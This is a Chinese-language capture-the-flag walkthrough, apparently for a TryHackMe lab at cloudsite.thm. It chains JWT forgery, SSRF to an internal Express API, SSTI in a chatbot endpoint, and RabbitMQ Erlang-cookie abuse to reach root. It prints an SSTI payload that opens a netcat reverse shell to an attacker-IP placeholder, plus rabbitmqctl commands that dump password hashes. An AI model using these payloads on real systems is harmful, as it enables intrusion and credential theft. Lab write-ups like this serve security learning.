初步侦查
sudo nmap -sVCT -O --min-rate 1000 -p- 10.10.205.33#扫描端口
dirb http://cloudsite.thm#扫描目录
同步去浏览器看一下,然后发现域名cloudsite.thm,后面发现登录框后,,再次发现域名storage.cloudsite.thm,我们直接在/etc/hosts加进去
扫描结果
我们继续探索80端口,找到登陆点还有注册点,我们注册登录进去
发现我们不能使用该服务
我们通过抓包,发现了jwt令牌,我们查看一下jwt令牌有什么东西
我们可以试一下注册的时候伪造jwt令牌
SSRF和SSTI
我们成功登录进去后,发现有文件上传,链接上传,已上传文件位置,我们尝试上传一个shell,发现会变更文件名,
我们扫描一下这个api接口有哪些目录,然后我们尝试在上传链接这里能不能触发SSRF,这里发现响应有X-Powered-By: Express,我们上网查一下发现Express有个默认端口3000
gobuster dir -u http://storage.cloudsite.thm/api -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -c "jwt=你的jwt令牌"
我们发现了一个特别的目录,说有个聊天机器人,记得是POST,但是没有变量和参数,我们空着看一下
因为Content-Tyep头部在POST中很重要,所以我们要加入Content-Tyep头部,响应提示我们缺少了username参数,那我们加回来
我们尝试变更username的参数,发现提示也会随之变化
测试后,发现存在ssti漏洞,那我们开始构造rce
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc Attack_ip 9001 >/tmp/f').read()}}"
初始立足点
我们成功获得azrael用户的shell,第一个flag在~目录下面
我们开始尝试提权,在/var/lib/rabbitmq下面有一个很可疑的.erlang.cookie
在一开始扫描的时候有两个可疑的端口,我们使用
epmd -names
经查询,发现这是一个RabbitMQ 服务器
sudo apt install rabbitmq-server#在我们的机器下一载一个rabbitmq-server
我们使用rabbitmq-server来进行连接,因为rabbitmq服务连接默认是rabbit@<hostname>,
所以我们在在/etc/hosts加上forge,连接时候加上刚才的erlang.cookie
root
sudo rabbitmqctl --erlang-cookie 'w9fU5psQqi9qYh4w' --node rabbit@forge status
运行状态正常
sudo rabbitmqctl --erlang-cookie 'w9fU5psQqi9qYh4w' --node rabbit@forge list_users
列举用户名发现root,还发现提示我们SHA-256的哈希值就是密码,不要尝试破解
sudo rabbitmqctl --erlang-cookie 'w9fU5psQqi9qYh4w' --node rabbit@forge export_definitions /tmp/1.json
我们检索哈希,然后保存到本地,然后查看
sudo apt install gtfo#jq
根据RabbitMQ文档我们来解码获得密码
echo -n '你的password_hash' | base64 -d | xxd -p -c 100
然后删掉前面salt(e3d7ba85),然后切换root
小结
文中有问题欢迎私信作者,更详细的步骤,查看jaxafed大佬